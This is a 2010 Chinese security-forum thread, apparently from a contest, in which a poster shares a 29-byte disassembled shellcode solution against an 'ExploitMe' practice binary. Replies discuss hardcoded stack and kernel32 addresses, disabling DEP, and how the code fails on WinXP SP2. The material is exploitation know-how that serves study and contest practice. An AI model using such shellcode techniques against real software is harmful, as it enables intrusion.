-
-
[讨论]29byte 兼容性优先无错版.
-
发表于: 2010-10-20 23:10
-
0012FCAB BE 6C604000 mov esi,0x40606C ; UNICODE "ExploitMe"
0012FCB0 6A 00 push 0x0
0012FCB2 56 push esi
0012FCB3 57 push edi
0012FCB4 B9 0E000000 mov ecx,0xE
0012FCB9 F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi]
0012FCBB B9 10000000 mov ecx,0x10
0012FCC0 BE 22B1897C mov esi,0x7C89B122 ; UNICODE " successfully.
"
0012FCC5 F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi]
0012FCC7 - E9 00152D00 jmp ExploitM.004011CC
估计还可以优化下。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
|
|
|---|---|
|
|
|
|
|
 你13XXXX栈就飘过吧
|
|
|
|
|
|
感觉很多选手都栽在硬编码上了
|
|
|
|
|
|
|
|
|
|
|
|
一开始的两个堆栈指针可以修改解决或者关闭DEP，这样堆栈基址基本都会在0x130000
但是遇到某些版本的kernel32时硬编码地址就会指错字符串了，比如说这个是你的答卷在winxp sp2下的测试。并且这样做也不保证兼容以后版本的kernel32，只能寄望考官使用相同版本的kernel32.dll  |
|
|
|
|
|
|
|
|
|
|
|
|
